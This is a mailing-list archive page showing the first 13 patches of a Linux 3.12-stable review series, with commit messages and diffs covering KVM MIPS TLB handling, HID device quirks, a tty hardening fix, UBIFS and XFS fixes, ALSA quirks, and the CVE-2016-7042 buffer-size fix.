Revert "KVM: MIPS: Drop other CPU ASIDs on guest MMU changes"
Subsystems (6)
PATCH 1/127 Revert "KVM: MIPS: Drop other CPU ASIDs on guest MMU changes"
3.12-stable review patch. If anyone has any objections, please let me know.
===============
This reverts commit 168e5ebbd63eaf2557b5e37be1afb8c143de2380, which is upstream commit 91e4f1b6073dd680d86cdb7e42d7cccca9db39d8. It caused build failures as it was improperly backported. New version is approaching, so revert this bad one.
--- arch/mips/kvm/kvm_mips_emul.c | 57 +++---------------------------------------- 1 file changed, 4 insertions(+), 53 deletions(-)
arch/mips/kvm/kvm_mips_emul.c +4 -53
@@ -310,47 +310,6 @@ enum emulation_result kvm_mips_emul_tlbr(struct kvm_vcpu *vcpu)return er; } -/** -* kvm_mips_invalidate_guest_tlb() - Indicates a change in guest MMU map. -* @vcpu: VCPU with changed mappings. -* @tlb: TLB entry being removed. -* -* This is called to indicate a single change in guest MMU mappings, so that we -* can arrange TLB flushes on this and other CPUs. -*/ -static void kvm_mips_invalidate_guest_tlb (struct kvm_vcpu *vcpu, -struct kvm_mips_tlb *tlb) -{ -int cpu, i; -bool user; - -/* No need to flush for entries which are already invalid */ -if (!((tlb->tlb_lo[0 ] | tlb->tlb_lo[1 ]) &ENTRYLO_V )) -return ; -/* User address space doesn't need flushing for KSeg2/3 changes */ - user = tlb->tlb_hi <KVM_GUEST_KSEG0 ; - -preempt_disable (); - -/* -* Probe the shadow host TLB for the entry being overwritten, if one -* matches, invalidate it -*/ -kvm_mips_host_tlb_inv (vcpu, tlb->tlb_hi); - -/* Invalidate the whole ASID on other CPUs */ - cpu =smp_processor_id (); -for_each_possible_cpu (i) { -if (i == cpu) -continue ; -if (user) - vcpu->arch.guest_user_asid[i] =0 ; - vcpu->arch.guest_kernel_asid[i] =0 ; - } - -preempt_enable (); -} -/* Write Guest TLB Entry @ Index */ enum emulation_result kvm_mips_emul_tlbwi (struct kvm_vcpu *vcpu) {
@@ -373,8 +332,8 @@ enum emulation_result kvm_mips_emul_tlbwi(struct kvm_vcpu *vcpu) tlb = &vcpu->arch.guest_tlb[index];#if 1 - -kvm_mips_invalidate_guest_tlb (vcpu, tlb); +/* Probe the shadow host TLB for the entry being overwritten, if one matches, invalidate it */ +kvm_mips_host_tlb_inv (vcpu, tlb->tlb_hi);#endif tlb->tlb_mask =kvm_read_c0_guest_pagemask (cop0);
@@ -415,7 +374,8 @@ enum emulation_result kvm_mips_emul_tlbwr(struct kvm_vcpu *vcpu) tlb = &vcpu->arch.guest_tlb[index];#if 1 -kvm_mips_invalidate_guest_tlb (vcpu, tlb); +/* Probe the shadow host TLB for the entry being overwritten, if one matches, invalidate it */ +kvm_mips_host_tlb_inv (vcpu, tlb->tlb_hi);#endif tlb->tlb_mask =kvm_read_c0_guest_pagemask (cop0);
@@ -459,7 +419,6 @@ kvm_mips_emulate_CP0(uint32_t inst, uint32_t *opc, uint32_t cause,int32_t rt, rd, copz, sel, co_bit, op;uint32_t pc = vcpu->arch.pc;unsigned long curr_pc; -int cpu, i;/* * Update PC and hold onto current PC in case there is
@@ -579,16 +538,8 @@ kvm_mips_emulate_CP0(uint32_t inst, uint32_t *opc, uint32_t cause,ASID_MASK , vcpu->arch.gprs[rt] & ASID_MASK); -preempt_disable ();/* Blow away the shadow host TLBs */ kvm_mips_flush_host_tlb (1 ); - cpu =smp_processor_id (); -for_each_possible_cpu (i) -if (i != cpu) { - vcpu->arch.guest_user_asid[i] =0 ; - vcpu->arch.guest_kernel_asid[i] =0 ; - } -preempt_enable (); }kvm_write_c0_guest_entryhi (cop0, vcpu->arch.gprs[rt]);
Signature · 1 line
2.10.2
PATCH 2/127 KVM: MIPS: Drop other CPU ASIDs on guest MMU changes
From: James Hogan <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 91e4f1b6073dd680d86cdb7e42d7cccca9db39d8 upstream.
When a guest TLB entry is replaced by TLBWI or TLBWR, we only invalidate TLB entries on the local CPU. This doesn't work correctly on an SMP host when the guest is migrated to a different physical CPU, as it could pick up stale TLB mappings from the last time the vCPU ran on that physical CPU.
Therefore invalidate both user and kernel host ASIDs on other CPUs, which will cause new ASIDs to be generated when it next runs on those CPUs.
We're careful only to do this if the TLB entry was already valid, and only for the kernel ASID where the virtual address it mapped is outside of the guest user address range.
--- arch/mips/kvm/kvm_mips_emul.c | 61 +++++++++++++++++++++++++++++++++++++------ 1 file changed, 53 insertions(+), 8 deletions(-)
arch/mips/kvm/kvm_mips_emul.c +53 -8
@@ -310,6 +310,47 @@ enum emulation_result kvm_mips_emul_tlbr(struct kvm_vcpu *vcpu)return er; } +/** +* kvm_mips_invalidate_guest_tlb() - Indicates a change in guest MMU map. +* @vcpu: VCPU with changed mappings. +* @tlb: TLB entry being removed. +* +* This is called to indicate a single change in guest MMU mappings, so that we +* can arrange TLB flushes on this and other CPUs. +*/ +static void kvm_mips_invalidate_guest_tlb (struct kvm_vcpu *vcpu, +struct kvm_mips_tlb *tlb) +{ +int cpu, i; +bool user; + +/* No need to flush for entries which are already invalid */ +if (!((tlb->tlb_lo0 | tlb->tlb_lo1) &MIPS3_PG_V )) +return ; +/* User address space doesn't need flushing for KSeg2/3 changes */ + user = tlb->tlb_hi <KVM_GUEST_KSEG0 ; + +preempt_disable (); + +/* +* Probe the shadow host TLB for the entry being overwritten, if one +* matches, invalidate it +*/ +kvm_mips_host_tlb_inv (vcpu, tlb->tlb_hi); + +/* Invalidate the whole ASID on other CPUs */ + cpu =smp_processor_id (); +for_each_possible_cpu (i) { +if (i == cpu) +continue ; +if (user) + vcpu->arch.guest_user_asid[i] =0 ; + vcpu->arch.guest_kernel_asid[i] =0 ; + } + +preempt_enable (); +} +/* Write Guest TLB Entry @ Index */ enum emulation_result kvm_mips_emul_tlbwi (struct kvm_vcpu *vcpu) {
@@ -331,10 +372,8 @@ enum emulation_result kvm_mips_emul_tlbwi(struct kvm_vcpu *vcpu) } tlb = &vcpu->arch.guest_tlb[index]; -#if 1 -/* Probe the shadow host TLB for the entry being overwritten, if one matches, invalidate it */ -kvm_mips_host_tlb_inv (vcpu, tlb->tlb_hi); -#endif + +kvm_mips_invalidate_guest_tlb (vcpu, tlb); tlb->tlb_mask =kvm_read_c0_guest_pagemask (cop0); tlb->tlb_hi =kvm_read_c0_guest_entryhi (cop0);
@@ -373,10 +412,7 @@ enum emulation_result kvm_mips_emul_tlbwr(struct kvm_vcpu *vcpu) tlb = &vcpu->arch.guest_tlb[index]; -#if 1 -/* Probe the shadow host TLB for the entry being overwritten, if one matches, invalidate it */ -kvm_mips_host_tlb_inv (vcpu, tlb->tlb_hi); -#endif +kvm_mips_invalidate_guest_tlb (vcpu, tlb); tlb->tlb_mask =kvm_read_c0_guest_pagemask (cop0); tlb->tlb_hi =kvm_read_c0_guest_entryhi (cop0);
@@ -419,6 +455,7 @@ kvm_mips_emulate_CP0(uint32_t inst, uint32_t *opc, uint32_t cause,int32_t rt, rd, copz, sel, co_bit, op;uint32_t pc = vcpu->arch.pc;unsigned long curr_pc; +int cpu, i;/* * Update PC and hold onto current PC in case there is
@@ -538,8 +575,16 @@ kvm_mips_emulate_CP0(uint32_t inst, uint32_t *opc, uint32_t cause,ASID_MASK , vcpu->arch.gprs[rt] & ASID_MASK); +preempt_disable ();/* Blow away the shadow host TLBs */ kvm_mips_flush_host_tlb (1 ); + cpu =smp_processor_id (); +for_each_possible_cpu (i) +if (i != cpu) { + vcpu->arch.guest_user_asid[i] =0 ; + vcpu->arch.guest_kernel_asid[i] =0 ; + } +preempt_enable (); }kvm_write_c0_guest_entryhi (cop0, vcpu->arch.gprs[rt]);
Signature · 1 line
2.10.2
PATCH 3/127 MIPS: KVM: Fix unused variable build warning
In reply to Jiri SlabyFrom: Nicholas Mc Guire <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 5f508c43a7648baa892528922402f1e13f258bd4 upstream.
As kvm_mips_complete_mmio_load() did not yet modify PC at this point as James Hogans <[email protected]> explained the curr_pc variable and the comments along with it can be dropped.
Patchwork: https://patchwork.linux-mips.org/patch/9993/
--- arch/mips/kvm/kvm_mips_emul.c | 6 ------ 1 file changed, 6 deletions(-)
arch/mips/kvm/kvm_mips_emul.c +0 -6
@@ -1655,7 +1655,6 @@ kvm_mips_complete_mmio_load(struct kvm_vcpu *vcpu, struct kvm_run *run) {unsigned long *gpr = &vcpu->arch.gprs[vcpu->arch.io_gpr];enum emulation_result er =EMULATE_DONE ; -unsigned long curr_pc;if (run->mmio.len >sizeof (*gpr)) {printk ("Bad MMIO length: %d" , run->mmio.len);
@@ -1663,11 +1662,6 @@ kvm_mips_complete_mmio_load(struct kvm_vcpu *vcpu, struct kvm_run *run) goto done; } -/* -* Update PC and hold onto current PC in case there is -* an error and we want to rollback the PC -*/ - curr_pc = vcpu->arch.pc; er =update_pc (vcpu, vcpu->arch.pending_load_cause);if (er ==EMULATE_FAIL )return er;
Signature · 1 line
2.10.2
PATCH 4/127 KVM: MIPS: Precalculate MMIO load resume PC
In reply to Jiri SlabyFrom: James Hogan <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit e1e575f6b026734be3b1f075e780e91ab08ca541 upstream.
The advancing of the PC when completing an MMIO load is done before re-entering the guest, i.e. before restoring the guest ASID. However if the load is in a branch delay slot it may need to access guest code to read the prior branch instruction. This isn't safe in TLB mapped code at the moment, nor in the future when we'll access unmapped guest segments using direct user accessors too, as it could read the branch from host user memory instead.
Therefore calculate the resume PC in advance while we're still in the right context and save it in the new vcpu->arch.io_pc (replacing the no longer needed vcpu->arch.pending_load_cause), and restore it on MMIO completion.
--- arch/mips/include/asm/kvm_host.h | 7 ++++--- arch/mips/kvm/kvm_mips_emul.c | 25 +++++++++++++++---------- 2 files changed, 19 insertions(+), 13 deletions(-)
arch/mips/include/asm/kvm_host.h +4 -3
@@ -375,7 +375,10 @@ struct kvm_vcpu_arch {/* Host KSEG0 address of the EI/DI offset */ void *kseg0_commpage; -u32 io_gpr;/* GPR used as IO source/target */ +/* Resume PC after MMIO completion */ +unsigned long io_pc; +/* GPR used as IO source/target */ +u32 io_gpr;/* Used to calibrate the virutal count register for the guest */ int32_t host_cp0_count;
@@ -386,8 +389,6 @@ struct kvm_vcpu_arch {/* Bitmask of pending exceptions to be cleared */ unsigned long pending_exceptions_clr; -unsigned long pending_load_cause; -/* Save/Restore the entryhi register when are are preempted/scheduled back in */ unsigned long preempt_entryhi;
arch/mips/kvm/kvm_mips_emul.c +15 -10
@@ -818,6 +818,7 @@ kvm_mips_emulate_load(uint32_t inst, uint32_t cause, struct kvm_run *run, struct kvm_vcpu *vcpu) { enum emulation_result er = EMULATE_DO_MMIO; +unsigned long curr_pc;int32_t op, base, rt, offset;uint32_t bytes;
@@ -826,7 +827,18 @@ kvm_mips_emulate_load(uint32_t inst, uint32_t cause, offset = inst &0xffff ; op = (inst >>26 ) &0x3f ; - vcpu->arch.pending_load_cause = cause; +/* +* Find the resume PC now while we have safe and easy access to the +* prior branch instruction, and save it for +* kvm_mips_complete_mmio_load() to restore later. +*/ + curr_pc = vcpu->arch.pc; + er =update_pc (vcpu, cause); +if (er ==EMULATE_FAIL ) +return er; + vcpu->arch.io_pc = vcpu->arch.pc; + vcpu->arch.pc = curr_pc; + vcpu->arch.io_gpr = rt;switch (op) {
@@ -1662,9 +1674,8 @@ kvm_mips_complete_mmio_load(struct kvm_vcpu *vcpu, struct kvm_run *run) goto done; } - er =update_pc (vcpu, vcpu->arch.pending_load_cause); -if (er ==EMULATE_FAIL ) -return er; +/* Restore saved resume PC */ + vcpu->arch.pc = vcpu->arch.io_pc;switch (run->mmio.len) {case 4 :
@@ -1686,12 +1697,6 @@ kvm_mips_complete_mmio_load(struct kvm_vcpu *vcpu, struct kvm_run *run)break ; } -if (vcpu->arch.pending_load_cause &CAUSEF_BD ) -kvm_debug - ("[%#lx] Completing %d byte BD Load to gpr %d (0x%08lx) type %d\n" , - vcpu->arch.pc, run->mmio.len, vcpu->arch.io_gpr, *gpr, - vcpu->mmio_needed); - done:return er; }
Signature · 1 line
2.10.2
PATCH 5/127 HID: input: add mic mute key on HP slim keyboard
In reply to Jiri SlabyFrom: AceLan Kao <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 08fc94733211f94755dd15028fb0a0129310fb5d upstream.
Add MIC mute key which is found on HP Business Slim Keyboard
T: Bus=02 Lev=01 Prnt=01 Port=00 Cnt=01 Dev#= 23 Spd=1.5 MxCh= 0 D: Ver= 2.00 Cls=00(>ifc ) Sub=00 Prot=00 MxPS= 8 #Cfgs= 1 P: Vendor=03f0 ProdID=2f4a Rev=00.10 S: Manufacturer=Chicony S: Product=HP Business Slim Keyboard C: #Ifs= 2 Cfg#= 1 Atr=a0 MxPwr=100mA I: If#= 0 Alt= 0 #EPs= 1 Cls=03(HID ) Sub=01 Prot=01 Driver=usbhid I: If#= 1 Alt= 0 #EPs= 1 Cls=03(HID ) Sub=00 Prot=00 Driver=usbhid
--- drivers/hid/hid-input.c | 1 + 1 file changed, 1 insertion(+)
drivers/hid/hid-input.c +1 -0
@@ -895,6 +895,7 @@ static void hidinput_configure_usage(struct hid_input *hidinput, struct hid_fielcase HID_UP_HPVENDOR2 :set_bit (EV_REP , input->evbit);switch (usage->hid &HID_USAGE ) { +case 0x001 :map_key_clear (KEY_MICMUTE );break ;case 0x003 :map_key_clear (KEY_BRIGHTNESSDOWN );break ;case 0x004 :map_key_clear (KEY_BRIGHTNESSUP );break ;default : goto ignore;
Signature · 1 line
2.10.2
PATCH 6/127 HID: microsoft: Add Surface 4 type cover pro 4 (JP)
In reply to Jiri SlabyFrom: Yuta Kobayashi <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit b490a8537df60d449199e162417da74ee9262515 upstream.
Adding support for the Microsoft Surface 4 Type Cover Pro (JP).
--- drivers/hid/hid-core.c | 2 ++ drivers/hid/hid-ids.h | 1 + drivers/hid/hid-microsoft.c | 2 ++ drivers/hid/usbhid/hid-quirks.c | 1 + 4 files changed, 6 insertions(+)
drivers/hid/hid-core.c +2 -0
@@ -707,6 +707,7 @@ static void hid_scan_collection(struct hid_parser *parser, unsigned type) (hid->product ==USB_DEVICE_ID_MS_TYPE_COVER_PRO_3 || hid->product ==USB_DEVICE_ID_MS_TYPE_COVER_PRO_3_2 || hid->product ==USB_DEVICE_ID_MS_TYPE_COVER_PRO_3_JP || + hid->product ==USB_DEVICE_ID_MS_TYPE_COVER_PRO_4_JP || hid->product ==USB_DEVICE_ID_MS_TYPE_COVER_3 || hid->product ==USB_DEVICE_ID_MS_POWER_COVER ) && hid->group == HID_GROUP_MULTITOUCH)
@@ -1818,6 +1819,7 @@ static const struct hid_device_id hid_have_special_driver[] = { { HID_USB_DEVICE(USB_VENDOR_ID_MICROSOFT, USB_DEVICE_ID_MS_TYPE_COVER_PRO_3) }, { HID_USB_DEVICE(USB_VENDOR_ID_MICROSOFT, USB_DEVICE_ID_MS_TYPE_COVER_PRO_3_2) }, { HID_USB_DEVICE(USB_VENDOR_ID_MICROSOFT, USB_DEVICE_ID_MS_TYPE_COVER_PRO_3_JP) }, + { HID_USB_DEVICE(USB_VENDOR_ID_MICROSOFT, USB_DEVICE_ID_MS_TYPE_COVER_PRO_4_JP) }, { HID_USB_DEVICE(USB_VENDOR_ID_MICROSOFT, USB_DEVICE_ID_MS_TYPE_COVER_3) }, { HID_USB_DEVICE(USB_VENDOR_ID_MICROSOFT, USB_DEVICE_ID_MS_DIGITAL_MEDIA_7K) }, { HID_USB_DEVICE(USB_VENDOR_ID_MICROSOFT, USB_DEVICE_ID_MS_DIGITAL_MEDIA_600) },
drivers/hid/hid-ids.h +1 -0
@@ -661,6 +661,7 @@#define USB_DEVICE_ID_MS_TYPE_COVER_PRO_3 0x07dc#define USB_DEVICE_ID_MS_TYPE_COVER_PRO_3_2 0x07e2#define USB_DEVICE_ID_MS_TYPE_COVER_PRO_3_JP 0x07dd +#define USB_DEVICE_ID_MS_TYPE_COVER_PRO_4_JP 0x07e9#define USB_DEVICE_ID_MS_TYPE_COVER_3 0x07de#define USB_DEVICE_ID_MS_POWER_COVER 0x07da
drivers/hid/hid-microsoft.c +2 -0
@@ -268,6 +268,8 @@ static const struct hid_device_id ms_devices[] = { .driver_data = MS_HIDINPUT }, { HID_USB_DEVICE(USB_VENDOR_ID_MICROSOFT, USB_DEVICE_ID_MS_TYPE_COVER_PRO_3_JP), .driver_data = MS_HIDINPUT }, + { HID_USB_DEVICE(USB_VENDOR_ID_MICROSOFT, USB_DEVICE_ID_MS_TYPE_COVER_PRO_4_JP), + .driver_data = MS_HIDINPUT }, { HID_USB_DEVICE(USB_VENDOR_ID_MICROSOFT, USB_DEVICE_ID_MS_TYPE_COVER_3), .driver_data = MS_HIDINPUT }, { HID_USB_DEVICE(USB_VENDOR_ID_MICROSOFT, USB_DEVICE_ID_MS_POWER_COVER),
drivers/hid/usbhid/hid-quirks.c +1 -0
@@ -89,6 +89,7 @@ static const struct hid_blacklist { { USB_VENDOR_ID_MICROSOFT, USB_DEVICE_ID_MS_TYPE_COVER_PRO_3, HID_QUIRK_NO_INIT_REPORTS }, { USB_VENDOR_ID_MICROSOFT, USB_DEVICE_ID_MS_TYPE_COVER_PRO_3_2, HID_QUIRK_NO_INIT_REPORTS }, { USB_VENDOR_ID_MICROSOFT, USB_DEVICE_ID_MS_TYPE_COVER_PRO_3_JP, HID_QUIRK_NO_INIT_REPORTS }, + { USB_VENDOR_ID_MICROSOFT, USB_DEVICE_ID_MS_TYPE_COVER_PRO_4_JP, HID_QUIRK_NO_INIT_REPORTS }, { USB_VENDOR_ID_MICROSOFT, USB_DEVICE_ID_MS_TYPE_COVER_3, HID_QUIRK_NO_INIT_REPORTS }, { USB_VENDOR_ID_MICROSOFT, USB_DEVICE_ID_MS_POWER_COVER, HID_QUIRK_NO_INIT_REPORTS }, { USB_VENDOR_ID_MSI, USB_DEVICE_ID_MSI_GX680R_LED_PANEL, HID_QUIRK_NO_INIT_REPORTS },
Signature · 1 line
2.10.2
PATCH 7/127 tty: Prevent ldisc drivers from re-using stale tty fields
In reply to Jiri SlabyFrom: Peter Hurley <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit dd42bf1197144ede075a9d4793123f7689e164bc upstream.
Line discipline drivers may mistakenly misuse ldisc-related fields when initializing. For example, a failure to initialize tty->receive_room in the N_GIGASET_M101 line discipline was recently found and fixed [1]. Now, the N_X25 line discipline has been discovered accessing the previous line discipline's already-freed private data [2].
Harden the ldisc interface against misuse by initializing revelant tty fields before instancing the new line discipline.
[1]
commit fd98e9419d8d622a4de91f76b306af6aa627aa9c
Author: Tilman Schmidt <[email protected]>
Date: Tue Jul 14 00:37:13 2015 +0200
isdn/gigaset: reset tty->receive_room when attaching ser_gigaset[2] Report from Sasha Levin <[email protected]>
[ 634.336761] ==================================================================
[ 634.338226] BUG: KASAN: use-after-free in x25_asy_open_tty+0x13d/0x490 at addr ffff8800a743efd0
[ 634.339558] Read of size 4 by task syzkaller_execu/8981
[ 634.340359] =============================================================================
[ 634.341598] BUG kmalloc-512 (Not tainted): kasan: bad access detected
...
[ 634.405018] Call Trace:
[ 634.405277] dump_stack (lib/dump_stack.c:52)
[ 634.405775] print_trailer (mm/slub.c:655)
[ 634.406361] object_err (mm/slub.c:662)
[ 634.406824] kasan_report_error (mm/kasan/report.c:138 mm/kasan/report.c:236)
[ 634.409581] __asan_report_load4_noabort (mm/kasan/report.c:279)
[ 634.411355] x25_asy_open_tty (drivers/net/wan/x25_asy.c:559 (discriminator 1))
[ 634.413997] tty_ldisc_open.isra.2 (drivers/tty/tty_ldisc.c:447)
[ 634.414549] tty_set_ldisc (drivers/tty/tty_ldisc.c:567)
[ 634.415057] tty_ioctl (drivers/tty/tty_io.c:2646 drivers/tty/tty_io.c:2879)
[ 634.423524] do_vfs_ioctl (fs/ioctl.c:43 fs/ioctl.c:607)
[ 634.427491] SyS_ioctl (fs/ioctl.c:622 fs/ioctl.c:613)
[ 634.427945] entry_SYSCALL_64_fastpath (arch/x86/entry/entry_64.S:188)--- drivers/tty/tty_ldisc.c | 7 +++++++ 1 file changed, 7 insertions(+)
drivers/tty/tty_ldisc.c +7 -0
@@ -415,6 +415,10 @@ EXPORT_SYMBOL_GPL(tty_ldisc_flush);* they are not on hot paths so a little discipline won't do * any harm. * +* The line discipline-related tty_struct fields are reset to +* prevent the ldisc driver from re-using stale information for +* the new ldisc instance. +* * Locking: takes termios_rwsem */
@@ -423,6 +427,9 @@ static void tty_set_termios_ldisc(struct tty_struct *tty, int num)down_write (&tty->termios_rwsem); tty->termios.c_line = num;up_write (&tty->termios_rwsem); + + tty->disc_data =NULL ; + tty->receive_room =0 ; }/**
Signature · 1 line
2.10.2
PATCH 8/127 UBIFS: Fix possible memory leak in ubifs_readdir()
In reply to Jiri SlabyFrom: Richard Weinberger <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit aeeb14f763917ccf639a602cfbeee6957fd944a2 upstream.
If ubifs_tnc_next_ent() returns something else than -ENOENT we leak file->private_data.
--- fs/ubifs/dir.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-)
fs/ubifs/dir.c +3 -2
@@ -447,13 +447,14 @@ static int ubifs_readdir(struct file *file, struct dir_context *ctx) } out: +kfree (file->private_data); + file->private_data =NULL ; +if (err != -ENOENT ) {ubifs_err ("cannot find next direntry, error %d" , err);return err; } -kfree (file->private_data); - file->private_data =NULL ;/* 2 is a special value indicating that there are no more direntries */ ctx->pos =2 ;return 0 ;
Signature · 1 line
2.10.2
PATCH 9/127 HID: usbhid: Add HID_QUIRK_NOGET for Aten DVI KVM switch
In reply to Jiri SlabyFrom: Laura Abbott <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 849eca7b9dae0364e2fbe8afdf0fb610d12c9c8f upstream.
Like other KVM switches, the Aten DVI KVM switch needs a quirk to avoid spewing errors:
[791759.606542] usb 1-5.4: input irq status -75 received [791759.614537] usb 1-5.4: input irq status -75 received [791759.622542] usb 1-5.4: input irq status -75 received
Add it.
--- drivers/hid/hid-ids.h | 1 + drivers/hid/usbhid/hid-quirks.c | 1 + 2 files changed, 2 insertions(+)
drivers/hid/hid-ids.h +1 -0
@@ -165,6 +165,7 @@#define USB_DEVICE_ID_ATEN_2PORTKVM 0x2204#define USB_DEVICE_ID_ATEN_4PORTKVM 0x2205#define USB_DEVICE_ID_ATEN_4PORTKVMC 0x2208 +#define USB_DEVICE_ID_ATEN_CS682 0x2213#define USB_VENDOR_ID_ATMEL 0x03eb#define USB_DEVICE_ID_ATMEL_MULTITOUCH 0x211c
drivers/hid/usbhid/hid-quirks.c +1 -0
@@ -60,6 +60,7 @@ static const struct hid_blacklist { { USB_VENDOR_ID_ATEN, USB_DEVICE_ID_ATEN_2PORTKVM, HID_QUIRK_NOGET }, { USB_VENDOR_ID_ATEN, USB_DEVICE_ID_ATEN_4PORTKVM, HID_QUIRK_NOGET }, { USB_VENDOR_ID_ATEN, USB_DEVICE_ID_ATEN_4PORTKVMC, HID_QUIRK_NOGET }, + { USB_VENDOR_ID_ATEN, USB_DEVICE_ID_ATEN_CS682, HID_QUIRK_NOGET }, { USB_VENDOR_ID_CH, USB_DEVICE_ID_CH_FIGHTERSTICK, HID_QUIRK_NOGET }, { USB_VENDOR_ID_CH, USB_DEVICE_ID_CH_COMBATSTICK, HID_QUIRK_NOGET }, { USB_VENDOR_ID_CH, USB_DEVICE_ID_CH_FLIGHT_SIM_ECLIPSE_YOKE, HID_QUIRK_NOGET },
Signature · 1 line
2.10.2
PATCH 10/127 libxfs: clean up _calc_dquots_per_chunk
In reply to Jiri SlabyFrom: "Darrick J. Wong" <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 58d789678546d46d7bbd809dd7dab417c0f23655 upstream.
The function xfs_calc_dquots_per_chunk takes a parameter in units of basic blocks. The kernel seems to get the units wrong, but userspace got 'fixed' by commenting out the unnecessary conversion. Fix both.
--- fs/xfs/xfs_dquot.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-)
fs/xfs/xfs_dquot.c +1 -2
@@ -312,8 +312,7 @@ xfs_dquot_buf_verify_crc(if (mp->m_quotainfo) ndquots = mp->m_quotainfo->qi_dqperchunk;else - ndquots =xfs_qm_calc_dquots_per_chunk (mp, -XFS_BB_TO_FSB (mp, bp->b_length)); + ndquots =xfs_qm_calc_dquots_per_chunk (mp, bp->b_length); for (i = 0; i < ndquots; i++, d++) { if (!xfs_verify_cksum((char *)d, sizeof(struct xfs_dqblk),
Signature · 1 line
2.10.2
PATCH 11/127 KEYS: Fix short sprintf buffer in /proc/keys show function
In reply to Jiri SlabyFrom: David Howells <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 03dab869b7b239c4e013ec82aea22e181e441cfc upstream.
This fixes CVE-2016-7042.
Fix a short sprintf buffer in proc_keys_show(). If the gcc stack protector is turned on, this can cause a panic due to stack corruption.
The problem is that xbuf[] is not big enough to hold a 64-bit timeout rendered as weeks:
(gdb) p 0xffffffffffffffffULL/(60*60*24*7) $2 = 30500568904943
That's 14 chars plus NUL, not 11 chars plus NUL.
Expand the buffer to 16 chars.
I think the unpatched code apparently works if the stack-protector is not enabled because on a 32-bit machine the buffer won't be overflowed and on a 64-bit machine there's a 64-bit aligned pointer at one side and an int that isn't checked again on the other side.
The panic incurred looks something like:
Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in: ffffffff81352ebe CPU: 0 PID: 1692 Comm: reproducer Not tainted 4.7.2-201.fc24.x86_64 #1 Hardware name: Red Hat KVM, BIOS 0.5.1 01/01/2011 0000000000000086 00000000fbbd2679 ffff8800a044bc00 ffffffff813d941f ffffffff81a28d58 ffff8800a044bc98 ffff8800a044bc88 ffffffff811b2cb6 ffff880000000010 ffff8800a044bc98 ffff8800a044bc30 00000000fbbd2679 Call Trace: [<ffffffff813d941f>] dump_stack+0x63/0x84 [<ffffffff811b2cb6>] panic+0xde/0x22a [<ffffffff81352ebe>] ? proc_keys_show+0x3ce/0x3d0 [<ffffffff8109f7f9>] __stack_chk_fail+0x19/0x30 [<ffffffff81352ebe>] proc_keys_show+0x3ce/0x3d0 [<ffffffff81350410>] ? key_validate+0x50/0x50 [<ffffffff8134db30>] ? key_default_cmp+0x20/0x20 [<ffffffff8126b31c>] seq_read+0x2cc/0x390 [<ffffffff812b6b12>] proc_reg_read+0x42/0x70 [<ffffffff81244fc7>] __vfs_read+0x37/0x150 [<ffffffff81357020>] ? security_file_permission+0xa0/0xc0 [<ffffffff81246156>] vfs_read+0x96/0x130 [<ffffffff81247635>] SyS_read+0x55/0xc0 [<ffffffff817eb872>] entry_SYSCALL_64_fastpath+0x1a/0xa4
--- security/keys/proc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
security/keys/proc.c +1 -1
@@ -188,7 +188,7 @@ static int proc_keys_show(struct seq_file *m, void *v)struct timespec now;unsigned long timo;key_ref_t key_ref, skey_ref; -char xbuf[12 ]; +char xbuf[16 ];int rc; key_ref =make_key_ref (key,0 );
Signature · 1 line
2.10.2
PATCH 12/127 ALSA: usb-audio: Add quirk for Syntek STK1160
In reply to Jiri SlabyFrom: Marcel Hasler <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit bdc3478f90cd4d2928197f36629d5cf93b64dbe9 upstream.
The stk1160 chip needs QUIRK_AUDIO_ALIGN_TRANSFER. This patch resolves the issue reported on the mailing list
(http://marc.info/?l=linux-sound&m=139223599126215&w=2) and also fixes bug 180071 (https://bugzilla.kernel.org/show_bug.cgi?id=180071).
--- sound/usb/quirks-table.h | 17 +++++++++++++++++ 1 file changed, 17 insertions(+)
sound/usb/quirks-table.h +17 -0
@@ -2953,6 +2953,23 @@ AU0828_DEVICE(0x2040, 0x7260, "Hauppauge", "HVR-950Q"),AU0828_DEVICE (0x2040 ,0x7213 ,"Hauppauge" ,"HVR-950Q" ),AU0828_DEVICE (0x2040 ,0x7270 ,"Hauppauge" ,"HVR-950Q" ), +/* Syntek STK1160 */ +{ + .match_flags = USB_DEVICE_ID_MATCH_DEVICE | +USB_DEVICE_ID_MATCH_INT_CLASS | +USB_DEVICE_ID_MATCH_INT_SUBCLASS , + .idVendor = 0x05e1, + .idProduct = 0x0408, + .bInterfaceClass = USB_CLASS_AUDIO, + .bInterfaceSubClass = USB_SUBCLASS_AUDIOCONTROL, + .driver_info = (unsigned long) &(const struct snd_usb_audio_quirk) { + .vendor_name ="Syntek" , + .product_name ="STK1160" , + .ifnum =QUIRK_ANY_INTERFACE , + .type =QUIRK_AUDIO_ALIGN_TRANSFER + } +}, + /* Digidesign Mbox */ {/* Thanks to Clemens Ladisch <[email protected]> */
Signature · 1 line
2.10.2
PATCH 13/127 ALSA: hda - Merge RIRB_PRE_DELAY into CTX_WORKAROUND caps
In reply to Jiri SlabyFrom: Takashi Iwai <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit ef85f299c74e6c5dd98ec0230183be33f4c2813d upstream.
AZX_DCAPS_RIRB_PRE_DELAY is always tied with AZX_DCAPS_CTX_WORKAROUND, which is Creative's XFi specific. So, we can replace it and reduce one more bit free for DCAPS.
--- sound/pci/hda/hda_intel.c | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-)
sound/pci/hda/hda_intel.c +4 -6
